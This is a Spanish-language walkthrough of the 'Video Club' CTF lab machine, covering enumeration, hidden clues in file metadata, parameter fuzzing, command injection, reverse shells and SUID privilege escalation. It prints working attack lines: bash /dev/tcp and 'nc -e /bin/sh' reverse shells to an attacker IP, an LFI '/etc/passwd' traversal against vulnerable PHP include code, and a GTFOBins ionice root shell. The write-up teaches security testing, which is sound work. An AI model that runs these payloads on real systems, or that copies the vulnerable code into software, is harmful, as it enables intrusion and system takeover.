Un Fantasma en el Sistema unfantasmaenelsistema.com

Writeup Videoclub Margarita CTF

🎬 Máquina CTF: Video Club

Video Club es una máquina CTF temática creada por ShellDredd que evoca la nostalgia de los antiguos videoclubs y Blockbusters, hoy casi extintos. Está diseñada para un nivel de dificultad global medio, con un enfoque en la intrusión web, apoyado por una parte de sistema de nivel más básico (https://shelldredd.github.io/video-club-ctf.html).

📦 Detalles técnicos

🔍 Contexto y objetivos

🧩 Ideal para

Enumeración

Comenzamos determinando que IP tiene la máquina víctima dentro de la red. Esto se realiza de la siguiente manera:

192.168.1.82

Una vez conocida la IP, vamos a enumerar que servicios tiene abiertos:

sudo nmap -p- -sS -sV 192.168.1.82

En este caso, la máquina tiene abiertos los puertos 22 (OpenSSH 7.9p1) y el puerto 3377 (Apache httpd 2.4.38).

Abrimos el puerto 3377 en el navegador y encontramos lo que parece la página de inicio del videoclub:

Hacemos una consulta para ver los detalles con whatweb.

La herramienta WhatWeb, que sirve para identificar tecnologías web utilizadas por un sitio

¿Qué hace concretamente?

whatweb http://192.168.1.82:3377/

El siguiente paso será hacer fuzzing de los directorios que contiene esta web. Para ello vamos a utilizar la tool dirb.

¿Qué hace dirb?

dirb prueba rutas web comunes contra un servidor utilizando una lista de palabras (wordlist), buscando:

dirb http://192.168.1.82:3377/ -r

Tenemos los siguientes directorios:

http://192.168.1.82:3377/images/

http://192.168.1.82:3377/index.html

http://192.168.1.82:3377/manual/

http://192.168.1.82:3377/robots.txt/

http://192.168.1.82:3377/videos/

El directorio /manual/ es común en un servidor Apache. Imagenes y videos parecen albergar el contenido multimedia de la web.

Vamos a comenzar accediendo a robots.txt

EJ5do3xtqTuyVTWyp3DtMzyfoKZtLJ5xVUAypzyyplOiMvO0nTHtqzyxMJ8tL2k1LvOgLKWaLKWcqTRfVUEbMFObnJExMJ4tp2yxMFOiMvOwnJ5yoJRh

Vemos, lo que parece ser algún tipo de hash. Vamos a averiguarlo utilizando la herramienta CrackStation:

No obtenemos resultados. Parece ser un mensaje aleatorio.

Probamos a desencriptarlo con ROT13:

sudo echo 'EJ5do3xtqTuyVTWyp3DtMzyfoKZtLJ5xVUAypzyyplOiMvO0nTHtqzyxMJ8tL2k1LvOgLKWaLKWcqTRfVUEbMFObnJExMJ4tp2yxMFOiMvOwnJ5yoJRh' | tr 'A-Za-z' 'N-ZA-Mn-za-m'| base64 -d

Explicación:

Al ejecutar este comando, el resultado debería ser el texto claro:

Ya tenemos descifrado el texto pero no parece que aporte nada nuevo.

Si seguimos más abajo en robots.txt, encontramos un texto encriptado y también encontramos lo que parece un archivo de contraseñas:

El texto encriptado solo lo podemos ver haciendo un curl a la IP

curl http://192.168.1.82:3377/robots.txt

Y tampoco parece que nos aporte nada interesante. Veamos que esconde el fichero list-defaulters.txt

k3v1n

sn4k3

d4t4s3c

g4t3s

st4llm4n

t1m

exif

tool

n0n4m3

sofia

lacashita

c4r4c0n0

sml

a1t0rmenta

frodo

f1ynn

nolose

r1tm4tica

l0w

steg

hide

fresh

neo

aquaman

w0nderw0m4n

### POSTDATA ###

THANKS FOR THE PLATFORM AND THE MACHINES MY DEAR SML

THANKS TO ALL CREATORS FOR THE CONTINUOUS FUN, LEARNING AND PASSION OPENLY SHARED.

GOOD H4CKTING

Nos encontramos con lo que parece una lista de contraseñas. Entre los passwords aparecen exif, tool (herramientas de metadatos) y steg, hide (ocultación de datos en imágenes). Siendo esta una máquina CTF seguro que es una pista que nos dice que hay algo oculto en los metadatos del contenido multimedia…

No tiene sentido ir extrayendo los metadatos de cada archivo uno por uno cuando lo podemos hacer de una sola vez.

Descargamos el contenido de los directorios /videos e /images.

wget -r http://192.168.1.82:3377/images/

Ahora extraemos los metadatos de todas las imágenes. Para ello nos desplazamos a la carpeta donde hemos descargado las imágenes:

y usamos:

exiftool *

El comando exiftool * en Linux, ejecutado en una terminal, sirve para leer los metadatos de todos los archivos del directorio actual.

¿Qué hace exactamente?

Por lo tanto: exiftool * muestra en pantalla los metadatos de todos los archivos en el directorio actual.

Una vez ejecutado obtenemos los metadatos de todas las imágenes que estaban contenidas en el servidor web. De entre todos los resultados, vemos uno que resulta sospechoso. “Copyright” es la pista que debemos seguir:

exiftool * | grep "Copyright"

Paso a paso

Hacemos el mismo procedimiento en el directorio /videos.

wget -r http://192.168.1.82:3377/videos/

Wget en ocasiones no descarga todo. Vamos a asegurarnos de descargar los archivos que vemos que nos faltan.

Una vez que ya los tenemos todos volvemos a ejecutar exiftool:

exiftool * | grep "Copyright"

Observamos que uno de los registros está en braille:

⠓⠼⠙⠝⠎⠼⠚⠇⠼⠚

Si lo pasamos por un traductor de Braille nos sale:

H4NS0L0

De modo que tenemos:

LostDVD:k1nd3rs

⠓⠼⠙⠝⠎⠼⠚⠇⠼⠚

LostDVD=t3rm1n4t0r

LostDVD=m14_w4ll4c3

LostDVD=c0n3h34ds

secret_film:c0ntr0l

Después de muchas vueltas y pruebas encontramos que, en realidad, son directorios (todos menos el de braille). Son extensiones html de la web:

http://192.168.1.82:3377/k1nd3rs

http://192.168.1.82:3377/t3rm1n4t0r

http://192.168.1.82:3377/m14_w4ll4c3

http://192.168.1.82:3377/c0n3h34ds

http://192.168.1.82:3377/c0ntr0l

Pero al llegar a la última obtenemos “Not Found”. En la de c0ntr0l nos sale un error ¿?

La lógica nos hace pensar que se trata de otra extensión que no es html. ¿Qué otra extensión podría ser?

Una URL puede apuntar a prácticamente cualquier tipo de archivo, por lo que las extensiones posibles son muchas y dependen del tipo de recurso al que se accede (texto, código, multimedia, bases de datos, etc.).

Aquí te doy una lista organizada por tipo con ejemplos de extensiones comunes que podrías ver al final de una URL:

Archivos de texto y configuración

Bases de datos y datos binarios

Claves y certificados

Imágenes y gráficos

Audio y vídeo

Archivos comprimidos o empaquetados

Ejecutables y scripts

Archivos web y de servidor

Documentos y presentaciones

Otros posibles archivos en URLs maliciosas o sospechosas

Siendo esta máquina un servidor Apache, lo más lógico ser ía probar con las extensiones propias de un servidor (.html, .htm, .php, .asp, .aspx, .jsp, .cgi,.js, .css, .map)

Con .php obtenemos un directorio en blanco, pero sin error:

Para afrontar este paso debemos conocer que dos vulnerabilidades son comunes de encontrar en servidores viejos o mal configurados.

Hay dos fallos comunes en la configuración de php:

Ambas son vulnerabilidades críticas en entornos PHP y suelen estar relacionadas entre sí.

Un Local File Inclusion (LFI) es una vulnerabilidad web que permite la lectura de archivos locales. Esta vulnerabilidad ocurre cuando un servidor web usa la ruta del archivo como input. Además, puede derivar en una ejecución remota de comandos si se cumplen ciertos requisitos. En esta Web tenéis explicado todos los usos con ejemplos:

https://deephacking.tech/local-file-inclusion-lfi-web/

Ejemplo básico de LFI en PHP:

Como se ha dicho al principio, el LFI ocurre cuando mediante un campo de entrada se está llamando a la ruta de un archivo local. Típicamente, esta situación la veremos en variables de PHP, pero no hay que limitar la vulnerabilidad a esto porque sería erróneo.

Para que quede más claro la idea, vamos a verlo con un ejemplo. Tenemos el siguiente código en PHP:

Código vulnerable:

$file = $_GET['file'];

if(isset($file))

{

include($file);

}

?>

Llamada:

http://victima.com/index.php?file=home.php

Un atacante puede usar:

http://victima.com/index.php?file=../../../../etc/passwd

Una vez explicado el método, vamos a ver si este servidor es vulnerable a este fallo:

http://192.168.1.82:3377/c0ntr0l.php?file=/../../../../../../etc/passwd

Lo que estamos tratando es de acceder al fichero de password que está en /etc:

Pero no sale nada:

Probemos ahora con RCE, a ver si fuese vulnerable a la ejecución de comandos desde la url:

http://192.168.1.82:3377/c0ntr0l.php?cmd=ls

Pero tampoco parece que dé ningún resultado. Pero tampoco nos muestra ningún código de error por lo que debemos pensar que no estamos en el mal camino.

Lo más probable es que nos falte una variable en la url para poder seguir. Pero ¿Cuál?

Al principio hemos encontrado una lista de password que estaba en list-defaulters.txt.

Vamos a crear un fichero con los password que están en esa lista y los guardamos en un fichero que se llame por ejemplo c0ntr0l.txt:

Ahora vamos a fuzzear un poco.

wfuzz, una herramienta para hacer fuzzing de aplicaciones web. El "fuzzing", también conocido como "fuzz testing", es una técnica de prueba de software dinámica que busca errores y vulnerabilidades enviando entradas inesperadas o malformadas a un programa. Este método de prueba automatizado tiene como objetivo simular la introducción de datos irregulares y "ruidosos" para identificar posibles fallos en el código que podrían ser aprovechados en un ataque.

La estructura del comando es la siguiente:

sudo wfuzz -c -t 500 -w /home/kali/c0ntr0l.txt -u http://192.168.1.82:3377/c0ntr0l.php?FUZZ=id

¿Qué hace?

Este comando está tratando de enviar múltiples solicitudes HTTP al endpoint:

http://192.168.1.82:3377/c0ntr0l.php?FUZZ=id

y sustituye la palabra FUZZ por cada palabra contenida en el archivo:

/home/kali/c0ntr0l.txt

Desglose de opciones

¿Qué busca?

Este ataque busca:

Todos dan un código de respuesta 200 (OK). Una vez más nos encontramos con algo “cocinado” para la máquina CTF. Todas dan un código de respuesta que nos permitiría acceder a ella, pero si nos fijamos bien, pero solo hay uno con contenido, el resto están vacíos:

1 línea, 3 palabras y 54 caracteres: f1ynn

Por tanto, la variable que vamos a utilizar es f1ynn que es la única que tiene contenido:

http://192.168.1.82:3377/c0ntr0l.php?f1ynn=id

Ahora si tenemos respuesta a los comandos; en este caso al comando id. Estamos como usuario www-data con id 33

Probamos con ls y vemos el contenido del directorio:

Nos llama la atención 4dult_z0n3 ya que no lo habíamos visto antes:

Vemos el código fuente de la página:

Vamos a curiosear que es este 4du1t_z0n3

http://192.168.1.82:3377/4du1t_z0n3

Descubiertos estos secretos pero que realmente no aportan más que diversión, vamos a tratar ahora realizar una escalada de privilegios en el sistema:

Desde la consola de Kali ejecutamos netcat:

nc -lvnp 6969

Y desde la url de la víctima:

http://192.168.1.82:3377/c0ntr0l.php?f1ynn=bash -i >& /dev/tcp/192.168.1.41/6969 0>&1

Se trata de hacer un Reverse Shell. Una vez obtenido RCE siempre es el objetivo de un pentester llegar a obtener una Remote Shell. Lo podemos conseguir en muchos lenguajes asi que dependiendo de a que nos enfrentamos podemos optar por una u otra. En este cheat sheet tenéis algunas:

https://ironhackers.es/herramientas/reverse-shell-cheat-sheet/

Una Reverse Shell en Bash es una técnica usada para obtener acceso remoto a una máquina víctima, en la que el sistema comprometido inicia una conexión hacia el atacante, dándole una línea de comandos (shell) para interactuar con el sistema de forma remota.

¿Qué es una Reverse Shell?

En una reverse shell:

Ejemplo:

Reverse Shell- Bash shell:

Una reversa utilizando bash, funciona en los sistemas linux bastante antiguos.Lanzaremos la bash por el protocolo tcp a la ip 192.168.1.41(IP de Kali) y puerto 6969

En la máquina del atacante:

1 nc -lvp 6969

En la máquina de la víctima (aquí pondremos la IP de nuestro Kali):

1 bash -i >& /dev/tcp/192.168.1.41/6969 0>&1

Y sigue a la escucha por lo que no hemos conseguido conectarnos. Todo hace sospechar que la máquina tiene capado bash por lo que vamos a tener que probar con netcat.

Una Reverse Shell con Netcat (nc) es una técnica utilizada para obtener acceso remoto a una shell (línea de comandos) de una máquina víctima, mediante la herramienta Netcat, que permite conexiones de red TCP/UDP desde la terminal.

¿Qué es una Reverse Shell?

Una Reverse Shell funciona así:

Esto es útil para evadir firewalls, ya que muchas veces las conexiones salientes están permitidas, pero las entrantes no.

¿Qué es Netcat?

Netcat (o nc) es una herramienta de red que permite leer y escribir datos a través de conexiones TCP o UDP. Es muy usada en administración de redes y pruebas de seguridad.

Reverse Shell- Netcat:

Una reversa utilizando el tan conocido Netcat. Este software está presente en casi todas las distribuciones y es la manera más sencilla de obtener una conexión reversa.Aun así en los sistemas en producción no suele estar disponible.En la máquina del atacante:

1 nc -lvp 6969

-l: listen (escuchar)

-v: verbose (detallado)

-n: no DNS

-p 6969: puerto 6969

En la máquina de la víctima:

1 nc -e /bin/sh 192.168.1.41 6969

192.168.1.41: IP del atacante

-e /bin/bash: ejecuta una shell bash al conectarse

Y ahora si tenemos conexión:

Vamos a probar algunos comandos:

id

whoami

hostname

Vemos que estamos como usuario www-data en la máquina video-club-margarita con id 33

ls

Para ver el directorio en el que estamos usamos pwd

Estamos en /var/www/html. Vamos a necesitar saber que archivos tiene permisos especiales. Lo vamos a buscar con el comando find de la siguiente manera:

find / -perm -4000 2>/dev/null

Este comando se utiliza para buscar archivos con el bit SUID activado en todo el sistema de archivos.

¿Qué es el bit SUID?

¿Qué hace cada parte del comando?

Parte Explicación
find / Busca desde la raíz del sistema (/), es decir, todo el sistema de archivos.
-perm -4000 Busca archivos con el bit SUID activado (4000 en octal).
2>/dev/null Oculta errores (como “Permiso denegado”) redirigiendo la salida de error estándar (stderr) a /dev/null.

¿Por qué es importante?

En auditorías de seguridad o pentesting, este comando se usa para:

De todos estos es extraño encontrar ionice con permisos especiales:

En Linux, ionice es un comando que se utiliza para establecer o consultar la clase y la prioridad de planificación de E/S (entrada/salida) de un proceso. En términos más sencillos, te permite controlar cómo un proceso accede y utiliza los recursos de disco.

¿Para qué se usa ionice?

ionice es útil para:

/home/librarian/ionice

/usr/lib/openssh/ssh-keysign

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/usr/lib/eject/dmcrypt-get-device

/usr/bin/newgrp

/usr/bin/su

/usr/bin/passwd

/usr/bin/mount

/usr/bin/chsh

/usr/bin/umount

/usr/bin/chfn

/usr/bin/sudo

/usr/bin/gpasswd

Vamos a tratar de explotar ionice.

GTFOBins es una lista de binarios Unix que se pueden utilizar para eludir las restricciones de seguridad locales en sistemas mal configurados:

https://gtfobins.github.io/

Buscamos ionice:

Nos ofrece tres opciones, Shell, SUID y Sudo. En este caso sudo no tenemos pero podemos utilizar el de la Shell o el de SUID. Probamos primero el de la shell:

Pero vemos que seguimos con el mismo usuario:

De modo que nos queda la opción de SUID:

sudo install -m =xs $(which ionice)

./ionice /bin/sh -p

La ruta debería ser esta:

/usr/bin/ionice /bin/sh -p

Pero recordamos que antes hemos visto que la ruta era distinta:

/home/librarian/ionice

Por lo que vamos a ir retrocediendo hasta ese directorio:

ls

cd /home

ls

De esta forma vamos a ejecutar el comando que nos daba GTFOBINS:

/usr/bin/ionice /bin/sh -p

pero cambiando la ruta por la nuestra:

/home/librarian/ionice /bin/bash -p

y ahora observamos que ya estamos como root. Pero vemos que el id es el mismo…🤨

La sorpresa es que nuestro usuario siempre ha sido www-data pero ha estado en un grupo que tenía permisos de root desde el principio. Una broma pesada del autor de la máquina para recordarnos que no solo debemos mirar el id, también debemos mirar a qué grupos pertenece el usuario.

Dentro de librarían hay varios ficheros de texto:

De entre todos, el premio lo tenemos en el último de los ficheros; en user,txt. Lo mostramos con el comando cat:

cat user.txt

Siendo esta una máquina preparada para un reto CTF, no podía faltar la bandera (flag). Dentro del fichero user.txt obtenemos la bandera:

Seguimos ahora con la búsqueda de la bandera de root.txt.

Hemos visto que www-data tiene permisos SUID para la ejecución del archivo binario ionice. Vamos a tratar de explotarlo:

Somos usuario con privilegios root. Ahora vamos a localizar la flag root.txt.

Para ello volvemos al directorio raíz / y con el comando find –name root.txt, localizamos la ruta donde se encuentra el archivo.

find –name root.txt

Este comando busca un archivo llamado root.txt en el directorio actual y sus subdirectorios.

Detalle:

find –name root.txt

Nos indica que está en:

./opt/root.txt

Le pedimos que muestre el contenido:

cat ./opt/root.txt

¡Y ya tenemos la flag root!